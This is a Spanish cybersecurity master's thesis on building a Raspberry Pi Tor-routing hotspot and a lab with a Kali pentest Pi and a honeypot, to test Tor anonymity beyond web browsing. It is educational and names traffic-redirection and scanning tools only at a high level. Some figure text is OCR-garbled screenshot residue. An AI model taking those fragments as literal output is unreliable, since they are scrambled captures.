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Principio de Intercambio de Locard
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Resumen

Este trabajo se compone de varias partes. La principal se trata de configurar
un dispositivo de bolsillo tipo Raspberry Pi en modo routing de tal manera que nos
permita conectarnos a Internet de forma anonima a través de la red Tor (The Onion
Router). Esto es util para poder navegar por Internet en paises con fuertes medidas
restrictivas de libertad de expresion (censura). Como objetivos secundarios, nos
centraremos en probar si existe el anonimato al utilizar la red Tor con otros servicios
diferentes a los que se usan en visitas a paginas Web como pueden ser FTP,
TELNET, etc. Para ello, crearemos varios laboratorios en un entorno controlado
empleando herramientas de escaneo y enumeracion de puertos y servicios y
herramientas de monitorizacion de dichos escaneres. También, usaremos el router

para acceder a la Dark Web vy visitar distintas paginas.

Summary

This work consists of several parts. The main part is about configuring a
Raspberry Pi pocket device (in routing mode) in such a way that it allows us to
connect to the Internet anonymously through the Tor network (The Onion Router).
This is useful for surfing the Internet in countries with strong restrictive measures on
freedom of expression (censorship). As secondary objectives, we will focus on
testing whether anonymity exists when using the Tor network with services other than
those used for visiting websites, such as FTP, TELNET, etc. To do this, we will create
several labs in a controlled environment using scanning tools and port and service
enumeration and monitoring tools for these scanners. We will also use the router to

access the Dark Web and visit different pages.
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Raspberry Pi, Tor, anonimato, Deep Web, Pentesting, Honeypot, Kali.
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Disclaimer

Este trabajo esta creado con fines educativos e informativos. No nos
hacemos responsables del mal uso que puedan dar al mismo. Las IPs y muchos de

los enlaces mostrados en el trabajo son dinamicos o han sido enmascarados.



1. Introduccion

A lo largo de la vida de lo que conocemos como Internet (red de redes), la
seguridad ha ido evolucionando hasta lo que es ahora en nuestros dias. Hace un par
de décadas los ordenadores no tenian antivirus; se enviaba todo el trafico por la red
sin ningun cifrado ni confidencialidad ni autenticacion; no se usaban firewalls, etc.
Todo inimaginable en los tiempos actuales. En estos dias, se aplican todas esas
medidas y aun asi el anonimato queda bastante lejos. Gobiernos con fuertes
restricciones bloquean las comunicaciones y espian a sus ciudadanos y a su propia
cupula politica, gobiernos unidos en coalicién se espian entre ellos para obtener
ventajas con respecto a contratos internacionales de cifras multimillonarias (La
Vanguardia). Todos estamos ante el ojo del gran hermano, a veces el ojo es un
gobierno, a veces el ojo es una multinacional, a veces el ojo es un grupo de hackers,
pero cada vez es mas complicado tener privacidad. Por estas razones, las empresas
y particulares hacen uso de redes anénimas o proveedores de VPN para mantener
sus datos protegidos. Aunque existen servicios gratuitos de VPN como Windscribe o
redes similares a Tor como Freenet o I12P, en lo que respecta a este trabajo se
refiere, la red que usamos para disfrutar de privacidad es la red Tor (Tor Project Inc.).
Por lo general, esta red se usa con el navegador Tor Browser (Tor Project Lnc), pero
modificaremos Tor para que no solo sirva para enviar trafico anénimo a través del
navegador, sino que todo el trafico se reenvia de manera anénima. En este trabajo,
configuraremos un dispositivo de bolsillo Raspberry Pi capaz de dar anonimato a
otras personas que lo necesiten y no dispongan de ningun tipo de conocimiento en
la materia y sin que deban instalarse nada, simplemente conectandose al punto de
acceso del Router creado. Aprovecharemos también la oportunidad del dispositivo
para averiguar cdmo funciona la red Tor, navegando en la Surface Web de forma
anoénima en modo Out-proxy y en la Dark Web en modo In-proxy. También,
analizaremos si con dicho dispositivo se logra un anonimato usando otros servicios
ajenos a la navegacion, como pueden ser TELNET, FTP, etc. Para comprobarlo,
realizaremos Pentesting y monitorizacion del trafico y analizaremos las evidencias

obtenidas.



1.1 Contexto y justificacion del Trabajo.

Al igual que otros trabajos que hemos realizado, este en concreto viene de la

necesidad de investigar y verificar la seguridad de nuestros sistemas.

En nuestro dia a dia nos preocupa si nuestra red wifi es vulnerable al ataque
de intrusos por la vulnerabilidad “Krack Attack”. También, nos preocupamos de
nuestros procesadores a ver si son afectados por la vulnerabilidad conocida como
“Spectre”. Por si eso no fuera suficiente, cada vez aparecen vulnerabilidades mas
sofisticadas relacionadas con el kernel del sistema operativo, chips con puertas
traseras ya insertadas por hardware por el fabricante en nuestra electrénica de red,
Webcams, televisores, moviles, u otros dispositivos con vulnerabilidades que
permiten ser usados para denegaciones de servicio distribuidas. Y muchos casos

mas.

La motivacion de investigar y verificar el anonimato de la red Tor, surge de
dos necesidades reales. Por una parte, la necesidad de anonimato en paises con
fuertes medidas de control, incluso con penas de carcel, simplemente por disponer
de libertad de expresidon y querer usar redes sociales. Con este dispositivo no son
necesarios conocimientos informaticos para poder navegar de forma anénima, tanto
en la Surface Web como en la Dark Web, puesto que dispone de un punto wifi al que
conectarse sin ningun requerimiento mas por parte del usuario. La segunda
necesidad comenzod tras recibir una y otra vez ataques de todo tipo durante mucho
tiempo, siempre encubiertos por Proxies, VPNs, red Tor, etc. Muchos de esos
ataques se intentaron bloquear enviando correos a direcciones de uso abusivo a los
ISP de varias personas y empresas que, sin saberlo, estaban compartiendo su
conexién a una Botnet o utilizando la red Tor. Pero los ISPs no pueden bloquear algo
anénimo, de tal manera que no es el legitimo dueino el que esta realizando esas
actividades, sino que es alguien oculto en los sistemas de anonimizacion ya
nombrados. Este trabajo permitira comprobar si el sujeto que hace un mal uso de
una red Tor, podria perder el anonimato al usar otros servicios de escaneo y ataque

de vulnerabilidades y si es posible des-anonimizar en algunos casos concretos.
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1.2 Objetivos del Trabajo.

El objetivo principal es configurar un dispositivo portatil Raspberry Pi, capaz
de realizar las funciones de router enviando el trafico a través de la red Tor de forma
andénima. Dicho router, tendra la posibilidad de conectarse mediante un RJ45 a otro
router/switch que proporcione Internet a través de DHCP; o de un médem 3G; todo
ello de forma automatizada. Para la conexién al router, proporcionaremos un servicio
wifi como Hotspot, de esta manera, cualquier dispositivo se podra conectar a la red

Tor y navegar en la Darknet.
Los objetivos secundarios son los siguientes:

e Comprobar si la conexion es anénima o si por el contrario al realizar
Pentesting o conexiones envia informacién de la IP original.

e Analizar navegacion In-proxy (Dark Web) y Out-proxy (Surface Web).

e Configurar Raspberry como dispositivo Pentesting emulando las
primeras fases del Hacking ético.

e Configurar Raspberry como dispositivo Honeypot (DinoTools) y con
monitorizacion de red, para recoger los ataques recibidos por la otra

Raspberry.
1.3 Enfoque y método seguido.

Para realizar este trabajo se han seguido varios métodos. Para la parte del
desarrollo de los objetivos y para la parte de resolucion de problemas, hemos usado
un enfoque ingenieril (Web ciencia). El método ingenieril aplicado consiste en definir
el problema, imaginar el producto, planificar y disefar, probar el prototipo, mejorar el
producto y obtenerlo. Si el resultado se puede mejorar aun mas, volver a la fase de
definir el problema, de tal manera que el proceso sea ciclico hasta alcanzar el
objetivo. Otro método utilizado es el visto en la asignatura “Hacking Etico” impartida
en el Master Universitario en Ciberseguridad y de la certificacion CEH (Certified
Ethical Hacking) (EC-Council) para aplicar hacking ético, aunque esta metodologia
es muy similar a otras. Las fases son las siguientes: Reconocimiento, escaneo,
acceso, mantener acceso y cubrir huellas, aunque en este trabajo solo usamos las
fases de Escaneo y acceso, ya que las otras no eran necesarias para comprobar el

anonimato. También, se ha utilizado la metodologia vista en la asignatura “Auditoria
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y Monitorizacion de la Seguridad” impartida en el mismo master comentado para la
parte de monitorizacion y Honeypot. Para la parte legal, se ha recurrido a la parte de

la asignatura de “Ciberilicitos” también impartida en dicho master.
e Metodologia ingenieril:

El primer paso sera definir nuestras necesidades que son las siguientes: Un
router portatil para conectar a la red Tor, un dispositivo capaz de recoger las
conexiones recibidas, un dispositivo capaz de lanzar conexiones de distintos
servicios y poder acceder a la red Tor de manera Out-proxy simplemente para
disponer de anonimato, e In-proxy para poder acceder a la Darknet (Test de

velocidad).

Para imaginar el producto, revisamos el estado del arte de los distintos
proyectos relacionados con el mismo que hayan sido producidos por la Raspberry Pi
y que cumplan las necesidades comentadas. En esta fase decidimos que Raspberry
Pi era nuestro candidato como dispositivo. Para ver su rendimiento y adaptabilidad
en cada rol (router, Pentester y Honeypot) se adquirieron tres modelos diferentes en
funcién de su memoria y procesamiento y se eligioé la mejor configuracién en funcion

de sus caracteristicas. Ver estado del arte.

Realizamos un disefio en funcién del producto imaginado y con él la

planificacion en funcion de las fechas, marcando hitos importantes. Ver planificacion.

A medida que vamos obteniendo parte del producto pasamos a la fase de
pruebas y continuamos con la creacion del siguiente producto. Comenzamos con el
objetivo principal y el que mas tiempo nos ocuparia, ya que tiene muchas acciones a
realizar. Cuando terminamos parte de su configuracion, pasamos a la siguiente fase
para asegurarnos de que cumple con los requisitos de los laboratorios.
Posteriormente, realizamos este mismo proceso con la Raspberry Pi de

monitorizacion y luego con la Raspberry Pi de Pentesting. Ver entorno de pruebas.

Cuando comprobamos que nuestros productos satisfacen nuestros objetivos,
volvemos a la fase inicial e incluimos mejoras en los mismos o caracteristicas que
nos aporten calidad. Para comprobar los objetivos, las pruebas que realizamos son
las de conectarnos de forma andnima e In-proxy al Honeypot desde un dispositivo

movil y desde un portatil, saliendo a la red Tor con el router conectado tanto por
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RJ45 como por modem. Posteriormente, cuando logramos este objetivo,
configuramos los otros dos, primero el Honeypot y posteriormente el pentester (con
Kali). Una vez terminada la fase anterior, pasamos de nuevo al entorno de pruebas.
Se establece la monitorizacion del trafico en el Honeypot y lanzamos escaneos y
ataques de red con la Raspberry Kali. Durante todo el proceso recogemos los datos

y documentamos todo. Ver laboratorios.

e Metodologia Hacking ético:

En la metodologia para la parte de pruebas de Pentesting, se seleccionan las
fases 2 y 3. La fase 1 reconocimiento no es necesaria porque ya sabemos la IP a la
que vamos a lanzar la bateria de escaneos y ataques y también sabemos que no
existen mas IPs, usuarios, direcciones de correo en ninguna otra parte. Nos
centramos en las fases 2 y 3 porque son las que mas pueden ayudarnos a
comprobar el anonimato. La fase 2 consiste en el escaneo y enumeracion. De esta
manera, encontraremos los servicios en escucha y lanzaremos sobre ellos los
ataques. La fase 3 tampoco era necesaria, pero la hemos anadido para intentar
lograr obtener mas evidencias de anonimato. Para realizar el hacking ético se
barajaron y probaron varias herramientas. Finalmente se uso la distribucion de Kali
Linux ARM y las herramientas Nmap, Nikto, Rapidscan para la parte de escaneo y

Armitage para la parte de ataque.
e Metodologia monitorizacion:

En la monitorizacion existen buenas practicas que indican que no por
disponer de mas informacién tendremos mejores resultados, sino que es mejor
realizar un analisis previo y centrarse en recoger lo que nos interesa de verdad. Por
esa razon, analizamos nuestro diseio para encontrar nuestras necesidades
principales que eran dos, poder publicar una elevada cantidad de servicios a Internet
y recoger las conexiones en tiempo real sin tener que revisar logs, sino que
pudiéramos ver de forma interactiva y grafica dichas conexiones. Esto nos ayudé a
encontrar las herramientas necesarias, Dionaea como Honeypot y NTopng como

monitor de red.

13



1.4 Breve sumario de productos obtenidos.

Los productos obtenidos podran dar un servicio independiente cada uno, por
esa razon, podemos decir que obtendremos tres productos fisicos con un rol
diferenciado entre si. Uno hara de enrutador a la red Tor, otro hara de equipo de test
de penetracion para hacking ético y otro hara de Honeypot, monitorizacion y analisis.
También, se entregara una memoria que incluira el montaje, los resultados de las
pruebas y las conclusiones obtenidas. A parte de eso, un breve estudio de la red Tor,

su funcionamiento y su contenido.
Resumen de los productos obtenidos:

Raspberry Pi 4 8GB: Honeypot de tamafo reducido.
Raspberry Pi 4 2GB: Router proveedor anonimato con conexion 3G/Ethernet.
Raspberry Pi 3: Kali Linux para Pentesting.

Memoria, resultados y conclusiones.

SN

Estudio de la red Tor y la Dark web.

En la siguiente figura, podemos ver las tres Raspberry Pi utilizadas.

Figura 1: Las tres Raspberry utilizadas
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En la siguiente figura podemos ver un esquema general de lo obtenido.

Internet

&S e e .
2 QNodo med]_> - ?

Tor

Honey Pot

Nod trad i
odo entrada Nodo salida Publicado en Internet

Tor
«Wan0» «3G»
WI-FI Internet
I -
- [
Router lb

Kali «EthO»
Internet

Figura 2: Esquema final del TFM
1.5 Breve descripcion de los otros capitulos de la memoria.

En los préximos capitulos hablaremos de los siguientes temas:
Capitulo 2. Capacidades de las Raspberry y la red Tor. Estado del arte.

Capitulo_3. Montaje del entorno. Aqui comentaremos cémo instalamos los

distintos sistemas operativos de cada uno.

Capitulo 4. Navegaciéon en Tor. Realizaremos un analisis de nuestra

experiencia navegando en la Deep web, contenido y riesgos encontrados.

Capitulo 5. Laboratorio. Aqui mostraremos los laboratorios realizados para

llegar a nuestros objetivos.
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Capitulo 6. Planificacion y presupuesto del proyecto.

Capitulo_7. Conclusiones obtenidas y lineas futuras. Hablaremos de los
resultados obtenidos en las pruebas, problemas encontrados y las conclusiones
finales acerca de los objetivos. Por ultimo, las posibles lineas de investigacion

futuras.
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2. Elementos hardware y software utilizados

2.1 Estado del arte y eleccion.

En el mercado existen varios productos similares en prestaciones a
Raspberry Pi y Tor. A parte de Raspberry Pi, los dispositivos que podrian ser
compatibles con este trabajo son los siguientes: NVIDIA Jetson Nano, ASUS Tinker
Board S, Rock64 Media Board, ODROID-XU4, Banana Pi BPI M3 o NanoPi M4
(Rodrigo). Muchos de ellos son mas potentes, pero también mas caros y con menos
comunidad dando soporte. Con respecto a las redes anénimas, existen varias
alternativas a Tor, algunas mas modernas y mejor optimizadas. Las dos principales
son 12P y Freenet (Diaz e Incibe), aunque hace pocos afios han aparecido otras

alternativas que buscan hacer competencia a Tor, como puede ser Loopix (Crespo).

Se ha decidido usar Raspberry por su compatibilidad con muchos dispositivos
a la hora de interconectar un modem 3G/4G, y también por la gran cantidad de
manuales creados por la comunidad de usuarios a nivel mundial. Muchas de las
herramientas necesarias para las funciones realizadas se han probado por la
comunidad, lo que garantizaba el éxito de gran parte de ellas. También, permite
realizar diversidad de servicios como consola, enrutador, servidor de impresion,
Smart TV, ordenador personal, firewall, Honeypot, camara de vigilancia y controlador

para robdtica. Lo que permite darle un segundo uso al finalizar este trabajo.

Aunque la selecciéon de usar la red Tor estaba decidida desde antes de
comenzar este proyecto, para realizar el anonimato, se han valorado distintos
productos gratuitos como 2P o Freenet, sin embargo, para este trabajo se
necesitaban ciertos conocimientos ya desplegados en la comunidad, asi como
ciertas compatibilidades que proporciona Tor. Freenet se descartd porque usa los
recursos como datastore, lo que puede provocar problemas legales al no saber qué
contenido, ni quien lo esta almacenado, ya que cada vez se almacena mas
contenido ilegal (Echeverri e Incibe). También, se valoraron otros productos como
VPNs de pago o gratuitas (Guy Fawkes y Vpn Mentor) que sin duda ofrecen el
mismo servicio y en muchos casos mejor, pero uno de nuestros objetivos es revisar
el grado de anonimato de la red Tor. Algunas de estas VPNs son gratis, pero no

garantizan lo que se hace con el trafico que viaja por su infraestructura. El uso de
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una VPN de pago, a emplear en sustitucion de Tor, se anoté como lineas futuras al
ser interesante utilizar este mismo router, pero configurado con una red segura y
confiable. Otra opcion que se valoré es Tails (Tails non-profit organization), un
sistema operativo en el que ya viene integrado Tor y que todo el trafico va
direccionado por la red Tor, pero no se encontré una version para ARM. Por ultimo,
comentar que ya existe un producto llamado Onion Pi (Lady Ada y Adafruit) que
realiza funciones similares a nuestro router, pero que también se ha descartado
debido a que no cumple el requisito de la conexion 3G/4G, ni otros requisitos del

proyecto como el enrutamiento desde Ethernet y wifi.

2.2 Raspberry Pi.

La Raspberry Pi es un dispositivo de bolsillo, de tamafno similar a una tarjeta
de crédito y con una altura de un par de centimetros. Este dispositivo se compone
de microprocesador, memoria, tarjeta de red, tarjeta wifi, Bluetooth, entrada de
sonido, entradas USB, puerto HDMI y entrada de alimentacién. También dispone de
unos pines llamados “GPIO” (Fundacion Raspberry Pi) capaces de interactuar con
otros circuitos eléctricos/electronicos y son programables con el lenguaje Python a
través de su sistema operativo. Esto lo convierte en un dispositivo multifuncional. Ver

lineas futuras.

A continuacion, vamos a presentar unas breves caracteristicas técnicas de
los dispositivos Raspberry Pi y porque se usara cada uno para un rol determinado,
enrutador, atacante o Honeypot. En este caso hay dos modelos, el 3By el 4 B. Ver

Anexo A.
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Raspberry Pi 4 Tech Specs

Gigabit
New, more - Ethernet
powerful
processor

Choice of RAM:
[26B] [4GB] [8GB]

USB-C Power Supply Micro HDMI ports
Supporting two 4K displays

Figura 3: Hardware Raspberry Pi 4 modelo B. (Fundacion Raspberry Pi)

El modelo Raspberry Pi 4 esta compuesto por un procesador ARM con cuatro
nucleos a 1,5 GHz de velocidad y memoria a LPDDR4. Para este trabajo,
disponemos de una Raspberry Pi 4 con 2 GB de memoria y otra con 8 GB. Dispone
de entrada Gigabit Ethernet. También dispone de Wireless IEEE 802.11ac que
soporta 2,4 GHz y 5 GHz que viene con moédulo Bluetooth incorporado. Para mas
detalles, Ver Anexo A.

elementiu

-
-
. -
% 3

v 10/100
€< / LAN Port

Raspberry Pi 3 Dimensions
Ode B 85.6mm x 56mm x 21mm

4 xUSB 2
Ports

40 Pin
Extended GPIO

Broadcom

BCM2837 64bit
Quad Core CPU
at 1.2GHz,
1GB RAM

T - TN ~— 3.5mm 4-pole
On Board ./' — Composite Video

and Audio
"?Flltflgfmn 4 Output Jack

MicroSD
Card Slot

CSl| Camera Port

Full Size HDMI

Micro USB Power Input. Video Output

DSl Display Port Upgraded switched
ﬁowar source that can

andle up to 2.5 Amps
Figura 4: Hardware Raspberry Pi 3 modelo B. (Comunidad Element14)

En el modelo 3, encontramos que las caracteristicas son mas limitadas.
Tenemos un procesador ARM con cuatro nucleos y una velocidad de 1,2 GHz. De
memoria disponemos de 1 GB LPDDR2. La tarjeta de red es ethernet a 100 Mbits/s.
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El médulo WIFI soporta 2.4GHz IEEE 802.11.b/g/n y Bluetooth 4.1 (Fundacion
Raspberry Pi).

En total, disponemos de tres dispositivos, uno de ellos con gran capacidad de
memoria al tener 8 GB, otro algo mas reducido con 2 GB, pero con igual
procesamiento y caracteristicas de red y otro mas limitado en todo, con menos

memoria, menos procesador y menos capacidades de red.

Para realizar una distribuciéon de tareas, necesitamos saber los requisitos
técnicos de cada uno de los roles. Después de varias pruebas, vemos que el rol
principal de enrutador que se encargara de proporcionar el anonimato y el acceso a
la red a otros dispositivos no requiere mucha memoria, pero si mejores velocidades
de red. Por esta razdn, el dispositivo encargado del enrutamiento sera la Raspberry
Pi 4 de 2GB. Para la tarea de rol de atacante y navegaciéon en la Deep Web, se
selecciond la Raspberry Pi 3 B, ya que no se requieren grandes recursos a menos
que se utilicen herramientas mas potentes como OpenVas, Nessus, Acunetix, etc.
Por ultimo, y dado que nos interesa recoger el trafico de los ataques recibidos en
nuestro Honeypot, éste tendra que tener gran cantidad de memoria para poder
publicar mas servicios y poder ejecutar mas herramientas de analisis y

monitorizacion.

2.3 Tor Project.

En la década de los 90, tres personas del laboratorio de investigacion naval
de estados unidos (NRL), en respuesta a la pregunta de si habia alguna manera de
no revelar la identidad de quien hablaba con quién en Internet, se les ocurri6 el
despliegue de los primeros disefios y prototipos de enrutamiento de cebolla, asi,
protegerian la informacion de los departamentos de inteligencia y el trafico que
enviasen a través de Internet. De esa idea, décadas después y gracias al estudiante
Roger Dingledine, del instituto de tecnologia de Massachusetts (MIT), aparecio el

proyecto Tor (The Onion Routing). La idea del enrutamiento en cebolla es el

enrutamiento en capas. Se trata de enrutar el trafico a través de diferentes caminos
y en cada paso, cifrarlo de tal manera que el resto de los nodos no sepa por los que

pasa ni de donde procede.
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https://www.nrl.navy.mil
https://www.mit.edu

Es importante en este punto comentar que, en la navegaciéon Out-proxy,
existen tres tipos de routers en Tor, el de entrada, el de medio (middle) y el de salida.
Asignar el rol de router middle es lo normal y no tiene complejidad, recibimos la
informacion del router de entrada y se la enviamos al de salida. Sin embargo, el
router de entrada tiene la responsable labor de saber la IP del que hace uso de la
red, por esta razon es el rol mas dificil y con mas requisitos a la hora de que un nodo
se establezca como tal. Para poder ser nodo salida también requiere de unos
requisitos, ya que aunque no mostrara la IP de entrada, si que sacara el trafico a
Internet sin cifrar al ser el ultimo router, con lo que si hay contrasefas e informacion
sensible enviadas en claro, se podra obtener sin ninguna restriccion (J. Menéndez y
Una al Dia. Hispasec) (CristianRus4 y Xataca) (CCN-CERT).

Cuando pasaron los afos y Tor fue ganando popularidad y subvenciones, se
decidié desarrollar un navegador para que el uso de la red fuese mas sencillo. El
navegador esta basado en Firefox y se llama Tor Browser. El uso del mismo no es
necesario para usar la red Tor, pero facilita mucho el trabajo si lo que se pretende
solo es navegar. Existen dos tipos de navegacion en la red Tor llamadas Out-proxy e
In-proxy. El primer tipo se usa para navegar por Internet de forma andénima y el
segundo para navegar dentro de la red Tor usando los enlaces .onion. A esta red
solo se puede acceder a través de Tor. En ambos casos, se usan lo que se conoce
como circuitos, que es la creacion del enrutamiento del trafico a través de tres

routers.

2.4 TorBrowser, Tails, socats, Anonym8, Redsocks, proxychains,
TorGhost.

Ya hemos visto para qué sirve y como funciona Tor, basicamente para darnos
la posibilidad de disfrutar del anonimato en la navegacion redireccionando el trafico
a un puerto de Tor. Para ello, lo mas sencillo es usar Tor Browser. Se trata de un
navegador creado por la fundacion Tor Project y basado en el codigo fuente del
navegador firefox el cual se ha modificado para que pueda funcionar con Tor. Esto
facilita mucho el uso de Tor por parte de usuarios inexpertos. El problema es que

solo redirecciona el trafico de navegacion, el resto de trafico queda sin anonimizar.
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Figura 5: Navegador Tor Browser

Para navegar por Internet de forma andénima se puede utilizar “Tor Browser”,
aunque hay que configurar ciertos parametros (como no usar “cookies”) para
obtener mas anonimato. Por otro lado, tenemos la problematica de que no todo es
navegacion, también disponemos de resolucion de nombres, conexiones FTP,
Telnet, SSH, etc, que no se envia por el navegador, sino a través de la conexion
normal. Para realizar este tipo de conexiones con otros puertos de manera anénima,
existen varias herramientas que se encargan de redireccionar todas las peticiones
de salida a través de Tor. Aunque finalmente se decidido realizar el
redireccionamiento de todos los puertos usando “Iptables”, las herramientas
analizadas nos ayudaron a entender su funcionamiento. Vamos a comentar algunas

de ellas:

Tails (The Amnesic Incognito Live System) (Tails non-profit organization), es
un sistema operativo que usa Tor para producir anonimato. Usa una distribuciéon
Linux Debian, pero también permite instalarse en otros sistemas. Viene con Tor

Browser activado y también redirecciona todo el trafico de otros puertos usando Tor.

22



4+ Acerca de Tails = vie mar 19 12:28

Aplicaciones ¥

Lugares ¥

ss | GeolP Location | Check IP Information | IP Tools - Tor Browser - L
&L Tails X | ® What Is My IP | Whats Acerca de Tails x
<« G & hitps w.whatismyip.net =

WhatlsMylIP.net

ARIN Lookup Browser Check DNS Lookup HTPasswd Gen
Check Reverse DMNS Check Subnet Calculator

Tails

theamnesicincognitolivesystem

%

Your Information m

IP Address: <B4 Sl
El Sistema Incognito Amnesico sin instalacion (The Amnesic Incognito Live System)
Local IP: Informacién de version del paquete (build):
4.16 - 20210222
R 28f2§4b25394?8b0e6348396(1(14232959_542?28
live-build: 3.0.5+really+is+2.0.12-0.tails5
live-boot: 1:20170112

ISP: Markus Koch live-config: 5.20190519
Location: Amsterdam, North Holland NL « — Pagina web

Tails developers

httpswww.whatismyip.net/tools/subnet-calculator.php

3 What s

* Acerca de Tails My IP | Whats My IP A...

Figura 6: Sistema operativo Tails (Tails non-profit organization)
En la siguiente figura, podemos ver que, si actualizamos el sistema operativo,

accede a direcciones .onion de la red Tor. También vemos uno de los problemas de

la red Tor, la lentitud en la velocidad de descarga.

Terminal

Editar Ver Buscar Terminal

root@amnesia:~# apt-get update

Des:1 tor+http://sdscoq7sngqtznauu.onion/torproject.org buster InRelease [3.524 B]

Des:2 tor+http://sdscoq7sngtznauu.onion/torproject.org buster/main amd64 Packages [2.880 B]

Des:3 tor+http://umjgavufhoix3smyqg6az2sx4istmuvsgmz4bq5u5x56rnayejoo6l2qd.onion 4.16 InRelease [6.756 B]

Des:4 tor+http://umjqavufhoix3smyq6az2sx4istmuvsgmz4bq5uSx56rnayejoo6l2qd.onion 4.16/main amd64 Packages [47,2

kB]

Des:5

Des:6
7
8

Archivo Ayuda

tor+http:
tor+http:
tor+http:
Des:8 tor+http:
Des:9 tor+http:

//vwakviie2ienjx6t.onion/debian buster InRelease [122 KkEB]
//vwakviie2ienjx6t.onion/debian bullseye InRelease [142 kB]
//vwakviie2ienjx6t.onion/debian buster-backports InRelease [46,7 kB]
//sgvtcaewdbxjd7Lln.onion buster/updates InRelease [65,4 KB]

//sgvtcaewd4bxjd71ln.onion buster/updates/main amd64 Packages [269 kB]

Des:

Des:10 tor+http://sgvtcaewdbxjd71ln.
Des:11 tor+http://vwakviie2ienjx6t.
Des:12 tor+http://vwakviie2ienjx6t.
18% [12 Packages 1.927 kB/7.987 kB

onion buster/updates/main Translation-en [143 KkBE]
onion/debian sid InRelease [154 kB]

onion/debian buster/main amd64 Packages [7.907 kB]
24%]

Figura 7: Actualizaciones con Tails a la red Tor

57,1 kB/s 12min 27s]]

Socats: Socats (SOcket CAT) (Dest-unreach.org), es una herramienta de

retransmision

multipropdsito.

Se puede utilizar

para muchas

tareas de

ciberseguridad, pero una de ellas, la relacionada con Tor, es que se puede realizar

“port forwarding” y podemos redireccionar, por ejemplo, el puerto 22 al puerto que
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usemos de Tor, de esa manera, muestra salida a través de SSH se haria por Tor de

forma anénima.

Anonym8: (Hiroshiman) Esta herramienta sirve para crear un proxy a la red
Tor. Permite distintas funcionalidades y dar mas anonimato cambiando la Mac de la

tarjeta, uso de UDP, etc.

RedSocks: (Evdokimov) Esta herramienta permite redirigir todas las
conexiones TCP a un proxy o a SOCKS4-5 usando las “Iptables” de Linux . Esto
permite junto con Tor, redireccionar todo el trafico y de esa manera, aumentar el

anonimato debido a que ningun paquete ira fuera de la red Tor.

Proxychains: Al igual que las anteriores herramientas comentadas,
proxychains son, como su nombre indica, Proxies encadenados (Hamsik). Esto en
ciberseguridad tiene varias utilidades como pivotar, pero en tema de anonimato
también se usa para redirigir el trafico de una aplicacién para que funcione en la red

Tor. No solo hace de proxy, sino que es capaz encapsular el trafico a la red Tor.

TorGhostNG: TorghostNG (Luzthedev et al.) es un script de Python que usa
"Iptables" para redirigir todo el trafico que quiera salir a Internet a través de la red
Tor. Es muy sencillo de utilizar, pero a la vez muy potente a la hora de lograr el

anonimato.

Durante el desarrollo de este trabajo se han investigado y probado varias de
ellas llegando a la conclusién que lo mas idéneo es usar “TorGhostNG” si lo que se
quiere es automatizar el proceso, sin embargo, para que todo fuese compatible y
aprender como funciona exactamente el proceso, hemos configurado todo el trafico

de manera manual mediante "Iptables” (lo mismo que hace “Torghost’).

2.5 Surface Web, Deep Web y Dark Web.

En relacion a la navegacion anonima con Tor, aparecen a menudo tres
conceptos: Surface Web, Deep Web y Dark Web. Vamos a aclarar cada uno de
ellos.

Surface Web (Test de velocidad): Es todo el contenido que suele estar
indexado por los buscadores de Internet como Google, Duckduckgo, Yahoo, Bing,

etc. En dichos buscadores podemos encontrar todo tipo de contenido, desde
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periodicos, hasta venta de entradas, peliculas en streaming, manuales, etc. Aqui
podemos navegar de forma normal con el navegador de nuestro sistema operativo,
ya sea con el movil, Tablet, PC o portatil. O podemos navegar de forma anénima con
Tor o software similar, usando un proxy gratuito o de pago, usando una VPN gratuita

(VPN del navegador Opera) o de pago, etc.

Deep Web (Test de velocidad): Es el resto de contenido que no se ha
indexado a través de los buscadores, sin embargo, esta publicado en Internet, ya
sea a proposito o por desconocimiento del propietario. Aqui podemos encontrar
servicios publicados, documentos, ficheros de backup, camaras de seguridad y
multitud de servicios mas. Por esa razén, se habla de que mas del 90% del trafico se
encuentra ahi. Con la pagina Shodan, podemos realizar busquedas de servicios no
indexados. Este servicio no se dedica a indexar como otros buscadores, sino que se
dedica a escanear servicios levantados y permite realizar busquedas de los mismos

a través de su portal Web o directamente mediante el uso de APlIs.

< C BB ® vovwshodaniofsearch B ® >0 & =

Shodan Developers Manitor Wiewnr Al Try out the new beta websitel Help Center

Mew to Shodan? SSEGqIMeRREgIste

*% Exploits % Maps *% Images

New Service: Keep track of what you hawve connected to the Internet. Check out Shodan Menitor

811965 05

RCS & ROS BUZINess

m . B0 Romania, Bucharest
, v
- 2

China 2,395 HTTR/1.7 208 0K
Switzarand 1,777 Server: 3@ web zerver, T92/71644 HTTF Serwer version 2.9 - TELDAT S.4., ATOWS/1.8@, ADE Groadband HTTF Serwver, &
United States 1,567 DH-Web, AR, ASUSTek UPnP/7.¢ MiniUPnPds1.4, ATS/5.3.¢, Adaptec ASM 1.7, AirTies/ASP 1.8 UPnP/1.9 miniupnpds1.9, AL
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HTTR 243 HTTP/1.7 4871 Unauthorized
HAS Web Interfaces 270 Content-Length: @

Wy -Authenticate: Digest realm="IF Webeam", nonce="1620741829"  qop="auth"

Figura 8: Ejemplo encontrado en la Deep Web mediante Shodan

Por ultimo, hablaremos de la Dark Web (Test de velocidad). Para poder

acceder a las paginas web publicadas en la Darknet, es necesario usar herramientas
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especiales. La herramienta Tor se puede usar para tener anonimato en la Surface
Web (Out-proxy) o para navegar por la Darknet y entrar en las Web ocultas. Tor
dispone de un navegador llamado Tor Browser mediante el cual es posible resolver
dominios .onion que son los usados en la Darknet de Tor. Cuando usamos Tor para
navegar a sitios .onion hablamos de navegacién In-proxy de Tor. También podemos
usar el Router configurado en este trabajo para navegar In-proxy sin necesidad de

instalar nada, simplemente conectandonos a su punto de acceso wifi.

La siguiente figura ilustra sobre el tipo de contenido de cada Web.

V' Academic databases .
Medical records )

Financial r‘ecbr:ds

Legal documents

Some scientific reports
Some government reports

Some organization-specific
repositories

96% of
content on
the Web
(estimated)

Political protest
Drug trafficking and other
illegal activities

Subscription-only information

Figura 9: Iceberg Surface, Deep and Dark Web. (Test de velocidad)

2.6 Analisis de los Honeypot.

Durante el analisis, encontramos multiples opciones de Honeypot.
Disponemos de la imagen preconfigurada Honeeepi. Se probd, pero es del 2016 y
hay cierto tipo de cosas que no funcionan muy bien y las herramientas que incluye y

nos interesan, las podemos instalar nosotros para no perder el control. Se probd
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esta imagen y también otras herramientas instalandose en Raspbian. Pasamos a

describir cada una de ellas:

Tango honeypot intelligence with Splunk (Aplura): Afio 2015-2016, aunque
hace tres afos se actualizé. Es un Honeypot que utiliza Cowrie y una version

Enterprise de Splunk. Se descart6 por evitar tema de licenciamiento.

